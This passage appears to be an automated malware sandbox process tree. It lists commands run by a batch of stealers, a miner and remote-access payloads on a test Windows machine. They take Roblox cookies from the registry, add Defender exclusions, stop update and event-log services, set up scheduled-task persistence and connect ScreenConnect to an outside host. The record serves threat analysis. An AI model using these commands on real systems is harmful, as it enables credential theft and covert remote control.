C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"6⤵
-
C:\Windows\system32\getmac.exegetmac7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 392"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 3927⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1600"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 16007⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4936"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 49367⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3840"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 38407⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4496"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 44967⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3112"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 31127⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1212"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 12127⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4708"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 47087⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI17682\rar.exe a -r -hp"yes" "C:\Users\Admin\AppData\Local\Temp\slpFG.zip" *"6⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI17682\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI17682\rar.exe a -r -hp"yes" "C:\Users\Admin\AppData\Local\Temp\slpFG.zip" *7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"6⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name7⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault7⤵
-
-
-
-
-
C:\Users\Admin\Desktop\Files\Amadeus.exe"C:\Users\Admin\Desktop\Files\Amadeus.exe"4⤵
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"5⤵
-
-
-
C:\Users\Admin\Desktop\Files\Meeting-https.exe"C:\Users\Admin\Desktop\Files\Meeting-https.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\whiteheroin.exe"C:\Users\Admin\Desktop\Files\whiteheroin.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
-
C:\Users\Admin\Desktop\Files\inst77player_1.0.0.1.exe"C:\Users\Admin\Desktop\Files\inst77player_1.0.0.1.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\DCRatBuild.exe"C:\Users\Admin\Desktop\Files\DCRatBuild.exe"4⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Hyperruntimeperf\1BsDc3sv0Ug0mZu.vbe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Hyperruntimeperf\vPQVVqEr.bat" "6⤵
-
C:\Hyperruntimeperf\agentServerFont.exe"C:\Hyperruntimeperf\agentServerFont.exe"7⤵
-
C:\Program Files\Internet Explorer\en-US\conhost.exe"C:\Program Files\Internet Explorer\en-US\conhost.exe"8⤵
-
-
-
C:\Windows\SysWOW64\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f7⤵
- Modifies registry key
-
-
-
-
-
C:\Users\Admin\Desktop\Files\o.exe"C:\Users\Admin\Desktop\Files\o.exe"4⤵
-
C:\Windows\sysklnorbcv.exeC:\Windows\sysklnorbcv.exe5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS6⤵
-
C:\Windows\SysWOW64\sc.exesc stop UsoSvc7⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop WaaSMedicSvc7⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop wuauserv7⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop DoSvc7⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop BITS7⤵
- Launches sc.exe
-
-
-
-
-
C:\Users\Admin\Desktop\Files\cookie250.exe"C:\Users\Admin\Desktop\Files\cookie250.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\logon.exe"C:\Users\Admin\Desktop\Files\logon.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\random.exe"C:\Users\Admin\Desktop\Files\random.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\GTA_V.exe"C:\Users\Admin\Desktop\Files\GTA_V.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0T0D2.tmp\GTA_V.tmp"C:\Users\Admin\AppData\Local\Temp\is-0T0D2.tmp\GTA_V.tmp" /SL5="$B0202,18814322,1093120,C:\Users\Admin\Desktop\Files\GTA_V.exe"5⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /quiet /I "C:\Users\Admin\AppData\Local\Temp\is-P3KC2.tmp\AppleApplicationSupport.msi"6⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\svchost.exe"C:\Users\Admin\Desktop\Files\svchost.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\svchost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\Desktop\Files\PrintSpoofer.exe"C:\Users\Admin\Desktop\Files\PrintSpoofer.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\1.exe"C:\Users\Admin\Desktop\Files\1.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\Loader.exe"C:\Users\Admin\Desktop\Files\Loader.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\surfex.exe"C:\Users\Admin\Desktop\Files\surfex.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
C:\Users\Admin\Desktop\Files\stail.exe"C:\Users\Admin\Desktop\Files\stail.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R2LDV.tmp\stail.tmp"C:\Users\Admin\AppData\Local\Temp\is-R2LDV.tmp\stail.tmp" /SL5="$403FA,5977381,56832,C:\Users\Admin\Desktop\Files\stail.exe"5⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" pause hd_video_converter_fox_1256⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 pause hd_video_converter_fox_1257⤵
-
-
-
C:\Users\Admin\AppData\Local\HD Video Converter Fox 1.2.5\hdvideoconverterfox125.exe"C:\Users\Admin\AppData\Local\HD Video Converter Fox 1.2.5\hdvideoconverterfox125.exe" -i6⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\a.exe"C:\Users\Admin\Desktop\Files\a.exe"4⤵
-
C:\Windows\sysvplervcs.exeC:\Windows\sysvplervcs.exe5⤵
-
-
-
C:\Users\Admin\Desktop\Files\winbox.exe"C:\Users\Admin\Desktop\Files\winbox.exe"4⤵
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Files\XClient.exe"C:\Users\Admin\Desktop\Files\XClient.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\XClient.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Desktop Window Manager.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Desktop Window Manager.exe'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Desktop Window Manager" /tr "C:\ProgramData\Desktop Window Manager.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\Desktop\Files\stealc_default2.exe"C:\Users\Admin\Desktop\Files\stealc_default2.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\Build.exe"C:\Users\Admin\Desktop\Files\Build.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAeQB5ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAbAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAZQB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AZQB4ACMAPgA="5⤵
-
-
C:\Users\Admin\AppData\Roaming\Miner.exe"C:\Users\Admin\AppData\Roaming\Miner.exe"5⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "RYVSUJUA"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "RYVSUJUA"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Miner.exe"6⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Stealer.exe"C:\Users\Admin\AppData\Local\Temp\Stealer.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Stealer.exe" & del "C:\ProgramData\*.dll"" & exit6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 57⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\Desktop\Files\jb4w5s2l.exe"C:\Users\Admin\Desktop\Files\jb4w5s2l.exe"4⤵
-
C:\Users\Admin\Desktop\Files\jb4w5s2l.exe"C:\Users\Admin\Desktop\Files\jb4w5s2l.exe"5⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5340 -s 3045⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\Files\TPB-1.exe"C:\Users\Admin\Desktop\Files\TPB-1.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffc48f3cc40,0x7ffc48f3cc4c,0x7ffc48f3cc586⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2368,i,14824536506392440933,13644124895095714939,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2364 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1772,i,14824536506392440933,13644124895095714939,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2524 /prefetch:36⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2036,i,14824536506392440933,13644124895095714939,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2628 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3188,i,14824536506392440933,13644124895095714939,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3200 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3204,i,14824536506392440933,13644124895095714939,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3240 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4564,i,14824536506392440933,13644124895095714939,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4584 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4768,i,14824536506392440933,13644124895095714939,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4756 /prefetch:86⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\ECFCBKJDBFIJ" & exit5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 106⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Desktop\Files\Session.exe"C:\Users\Admin\Desktop\Files\Session.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\Offnewhere.exe"C:\Users\Admin\Desktop\Files\Offnewhere.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"C:\Users\Admin\AppData\Local\Temp\23a0892ef8\Gxtuum.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\10000240101\Javvvum.exe"C:\Users\Admin\AppData\Local\Temp\10000240101\Javvvum.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\10000251101\stail.exe"C:\Users\Admin\AppData\Local\Temp\10000251101\stail.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0ES3C.tmp\stail.tmp"C:\Users\Admin\AppData\Local\Temp\is-0ES3C.tmp\stail.tmp" /SL5="$110242,5522778,721408,C:\Users\Admin\AppData\Local\Temp\10000251101\stail.exe"7⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" pause shine-encoder_111528⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 pause shine-encoder_111529⤵
-
-
-
C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe"C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe" -i8⤵
-
-
-
-
-
-
C:\Users\Admin\Desktop\Files\AA_v3.exe"C:\Users\Admin\Desktop\Files\AA_v3.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\Indentif.exe"C:\Users\Admin\Desktop\Files\Indentif.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\wwbizsrvs.exe"C:\Users\Admin\Desktop\Files\wwbizsrvs.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\bwapp.exe"C:\Users\Admin\Desktop\Files\bwapp.exe"4⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 005BFB5B4AB00BA640531A22535D5D41 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEE46.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241102546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:42⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 31CCF84A28FD1A404DBD697BDCC22D112⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding AE7CA6DB248D3271071D4AB0A7987FD8 E Global\MSI00002⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7ABE795327B2FD1E9F3B7BDD1555F0792⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffc48f3cc40,0x7ffc48f3cc4c,0x7ffc48f3cc582⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5340 -ip 53401⤵
-
C:\Users\Admin\Desktop\Files\AA_v3.exe"C:\Users\Admin\Desktop\Files\AA_v3.exe" -service -lunch1⤵
-
C:\Users\Admin\Desktop\Files\AA_v3.exe"C:\Users\Admin\Desktop\Files\AA_v3.exe"2⤵
-
-
C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=fnback9636.site&p=8041&s=0300c409-7ddf-44af-86bd-377f11f44220&k=BgIAAACkAABSU0ExAAgAAAEAAQA9jYIrttwwC%2fVG8pSgng7hOaOxKOcglvdFFtkWeOWtX8fqsZgIKfVrWuN3su1CgiFbvlCYAExDue6opAYsm4ZcU%2fXlAy9prKBw8dHgYIr5MKTVcZ179o9h8%2f%2bnJY4jOeDKVmcK57L%2fEAFTuKdJ4YjAwIneAffDLjer1Vf%2banxJ%2b%2fQG9GXKFTsCbQPC0DPoXGR4nhNlJsUIT37D9pxvtL82%2fbs5OFG6ebhQ2MBDFYY21oOxjFRMMIWi2Owda95WULvij7v9vchg4Zacetd90xJGtyFFMUL53dS%2fRJ%2bjUcnwVvLNyKx3HwIoiBSP6LM2Nm5EN5LWd0R%2b3hStk2Qltk%2bh"1⤵
-
C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "3125c22d-b8a0-45d0-a5f6-0472ef0000a0" "User"2⤵
-
-
C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.WindowsClient.exe" "RunRole" "7f7615b3-f2c1-4382-acb2-71965199cdae" "System"2⤵
-
-
C:\Program Files\gceoyc\svchost.exe"C:\Program Files\gceoyc\svchost.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysppvrdnvss" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Portable Devices\sysppvrdnvs.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysppvrdnvs" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\sysppvrdnvs.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sysppvrdnvss" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Portable Devices\sysppvrdnvs.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /f1⤵
